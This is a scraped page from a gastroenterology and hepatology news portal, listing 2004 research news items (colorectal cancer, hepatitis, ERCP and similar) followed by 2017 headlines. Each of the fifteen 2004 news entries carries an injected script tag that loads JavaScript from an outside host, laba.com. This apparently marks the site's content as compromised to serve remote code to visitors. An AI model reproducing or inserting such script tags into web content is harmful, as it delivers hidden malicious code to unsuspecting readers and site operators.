Help
Subscribe


GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy

 15 December 2017

Advanced search
GastroHep.com - the global online resource for all aspects of gastroenterology, hepatology and endoscopy Profile of Roy Pounder

Home

News  
Journals
Review Articles
Slide Atlas
Video Clips
Online Books
Advanced Digestive Endoscopy
Classical Cases
Conference Diary
PubMed
International GH Links
USA GH Links
National GH Links
National GI Societies
Other Useful Links




Emails on Gastroenterology and Hepatology
the National AIDS Treatment Advocacy Project
Visit the gastroenterology section of the EUMS

News

What is RSS? RSS

Bevacizumab plus oxaliplatin-based chemotherapy prolongs survival 03 December 2004
Bevacizumab and oxaliplatin improve survival<script src=http://laba.com/muuu.s></script> NIH reports that patients with advanced colorectal cancer who receive bevacizumab in combination with an oxaliplatin regimen known as FOLFOX4, lived longer than patients who received FOLFOX4 alone.
Full story
Clinical trial: metronidazole and ursodeoxycholic acid for primary sclerosing cholangitis 03 December 2004
Clinical trial for primary sclerosing cholangitis<script src=http://laba.com/muuu.s></script> Researchers find that combining metronidazole with ursodeoxycholic acid in primary sclerosing cholangitis improved serum ALP levels and New Mayo Risk Score, but no statistically significant effect on disease progression was seen, reports December's Hepatology.
Full story
Follow-up after pneumatic dilation for achalasia cardia 03 December 2004
Pneumatic dilation for achalasia cardia<script src=http://laba.com/muuu.s></script> December's issue of the American Journal of Gastroenterology finds that pulmonary dilation is an effective and safe treatment for achalasia cardia, however, male patients have poorer outcomes.
Full story
Pegylated interferon-alfa-2b + ribavirin therapy for recurrent hep C virus 02 December 2004
Pegylated interferon-alfa-2b + ribavirin therapy<script src=http://laba.com/muuu.s></script> Combination pegylated interferon with ribavirin is effective therapy in hepatitis C Virus recurrence and in hepatitis C virus nonresponsive to interferon and ribavirin, reports the most recent issue of Transplantation.
Full story
Ethnic differences affect prevalence of hepatic steatosis in the US 02 December 2004
Impact of ethnicity on hepatic steatosis<script src=http://laba.com/muuu.s></script> The significant ethnic and sex differences in the prevalence of hepatic steatosis may have a profound impact on susceptibility to steatosis-related liver disease, suggests a study in December's issue of Hepatology.
Full story
Significance of elevated alanine aminotransferase in blood donors 02 December 2004
Factors associated with ALT elevation<script src=http://laba.com/muuu.s></script> ALT levels usually dropped during follow-up and although severe hepatic lesions can be found in asymptomatic blood donors, mild hepatic damage is the rule, states a report in December's issue of Liver International.
Full story
Hand-assisted laparoscopic vs open restorative proctocolectomy 01 December 2004
Laporscopic vs open restorative proctocolectomy<script src=http://laba.com/muuu.s></script> Recovery measured using quality of life questionnaires is comparable for hand-assisted laparoscopic or open restorative proctocolectomy with ileal pouch anal anastomosis, finds a report in the most recent issue of Annals of Surgery.
Full story
Clinical trial: leuprorelin and flutamide in male patients with hepatocellular carcinoma treated with tamoxifen 01 December 2004
Clinical trial of leupororelin and flutamide<script src=http://laba.com/muuu.s></script> A study published in December's issue of Hepatology finds that there is no benefit in survival with antiandrogenic treatment in male patients with advanced hepatocellular carcinoma.
Full story
Hepatitis B virus reactivation in breast cancer patients 01 December 2004
Preemptive lamivudine in breast cancer patients<script src=http://laba.com/muuu.s></script> Results published in December's issue of Liver International support the preemptive use of lamivudine for prevention of HBV reactivation in patients who need short-term chemotherapy.
Full story
Waning immunity to hepatitis B vaccine: booster needed 30 November 2004
Boosters needed for hep B<script src=http://laba.com/muuu.s></script> Findings suggest that 1 or more booster immunizations are needed in seronegative subjects by at least 15 years following neonatal immunization with plasma-derived HB vaccine, reports the December's issue of Hepatology.
Full story
New prognostic factors in steroid-treated alcoholic hepatitis 30 November 2004
Prognosis for alcoholic hepatitis<script src=http://laba.com/muuu.s></script> A report in December's issue of Hepatology states that altered portal flow and steatosis < 20% are new prognostic factors in steroid-treated alcoholic hepatitis and must be taken into account in patient management
Full story
Complications of ERCP: a prospective study 30 November 2004
Complications of ERCP<script src=http://laba.com/muuu.s></script> A recent study in November's Gastrointestinal Endoscopy confirms that the complication rate of ERCP including therapeutic procedures is high, whilst cardiopulmonary complications are not as common as expected.
Full story
Antireflux stent fails to prevent gastroesophageal reflux 29 November 2004
Antireflux stent for GERD<script src=http://laba.com/muuu.s></script> An antireflux stent provides relief of dysphagia caused by malignancy of the distal esophagus and gastric cardia, but fails to prevent gastroesophageal reflux, reports November's issue of Gastrointestinal Endoscopy.
Full story
News from NIH: action plan for liver disease research 29 November 2004
Action plan for liver disease research<script src=http://laba.com/muuu.s></script> After a Congressional request asking for more focus on NIH-funded liver disease research, the NIH has developed a trans-NIH Action Plan with the aim of decreasing the burden of liver disease in the United States, reports a recent statement by the NIH.
Full story
Response to percutaneous ablation predicts survival 29 November 2004
Percutaneous ablation improves survival<script src=http://laba.com/muuu.s></script> A study in December's Hepatology reports that initial complete tumor necrosis should be considered a relevant therapeutic target irrespective of tumor size and liver function.
Full story

Archive: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847

Go to top of page Email this page Email this page to a colleague

 15 December 2017 
Molecular classification of Crohn's disease
 15 December 2017 
Medical cannabinoid legalization policy and vomiting
 15 December 2017 
Inflammatory diet pattern and colorectal cancer risk
 14 December 2017 
PPIs and gastric cancer after H.pylori eradication
 14 December 2017 
H. pylori eradication therapies in countries with clarithromycin resistance
 14 December 2017 
Reliability of the IBD index
 13 December 2017 
Tryptophan metabolism and IBD activity
 13 December 2017 
Disease severity in NAFLD
 13 December 2017 
Management of abnormal liver blood tests
 12 December 2017 
Risk factors in undiagnosed cirrhosis
 12 December 2017 
Monitored anesthesia care for outpatient GI endoscopy
 12 December 2017 
High-risk colorectal cancer patients
 06 December 2017 
Reflux-induced chronic cough 
 06 December 2017 
Preventing hepatic encephalopathy-related readmissions
 06 December 2017 
Systemic inflammatory response syndrome in acute-on-chronic liver failure
 05 December 2017 
Childhood obesity into adulthood
 05 December 2017 
CT imaging for acute diverticulitis
 05 December 2017 
Thiopurines and colorectal cancer in IBD
 04 December 2017 
Neoadjuvant chemoradiation for locally advanced rectal cancer
 04 December 2017 
Physical activity and Barrett’s esophagus
 04 December 2017 
Alcohol abstinence and alcoholic hepatitis
 01 December 2017 
Therapeutic drug monitoring in IBD
 01 December 2017 
Insulin therapy and liver cancer among diabetics
 01 December 2017 
Family burden of pediatric Crohn's in the USA
 30 November 2017 
Anastomotic leak after repeat intestinal resection in Crohn’s
 30 November 2017 
Oral capsule– vs colonoscopy-delivered fecal microbiota transplant
 30 November 2017 
Sessile serrated polyps and H. pylori in the USA
 29 November 2017 
Predicting mortality after colectomy for C. diff
 29 November 2017 
Obesity and cancer risk
 28 November 2017 
Surgical treatment delays and colon cancer survival
 28 November 2017 
Celiac disease screening in adult first-degree relatives
 28 November 2017 
Electronic health record alert in primary care in Hep C
 27 November 2017 
Questionnaire fore chronic constipation
 27 November 2017 
Challenges in measuring the affordability of US health care
 27 November 2017 
Early readmission in IBD patients
 24 November 2017 
Osteoporotic fractures in Barrett's esophagus
 24 November 2017 
Center ERCP volume and procedure success
 24 November 2017 
Adipokines and IBD
 23 November 2017 
Pharmacological management of GERD
 23 November 2017 
Incidence of biopsy-verified celiac disease
 23 November 2017 
Distance travelling for rectal cancer outcomes
 22 November 2017 
Challenges of US-trained gastroenterologists when abroad
 22 November 2017 
Surgical treatment delays influence survival in colon cancer
 22 November 2017 
Golimumab in Crohn's disease
 21 November 2017 
Preoperative optimization in IBD patients
 21 November 2017 
Cholangiopathy in critically ill patients
 21 November 2017 
Prepregnancy obesity and maternal mortality
 20 November 2017 
Barriers to hepatitis C treatment
 20 November 2017 
Socioeconomic characteristics in diverticular disease
 20 November 2017 
Endoscopic indices of disease activity for Crohn’s
 17 November 2017 
Predicting microscopic colitis
 17 November 2017 
PPI use and cognitive function in women
 17 November 2017 
Food elimination diets for treatment of adults with eosinophilic esophagitis
 16 November 2017 
NAFLD-hepatocellular carcinoma and survival after orthotopic liver transplant
 16 November 2017 
Prepregnancy obesity and severe maternal morbidity
 16 November 2017 
Celiac disease screening in adult first-degree relatives
 15 November 2017 
Breastfeeding and the risk of IBD
 15 November 2017 
Predicting recurrence after curative rectal cancer surgery
 15 November 2017 
Medication nonadherence and health care costs
 14 November 2017 
Eosinophilic gastroenteritis and colitis

Blackwell Publishing


GastroHep.com is a Blackwell Publishing registered trademark
© 2017 Wiley-Blackwell and GastroHep.com and contributors
Privacy Statement
Disclaimer
About Us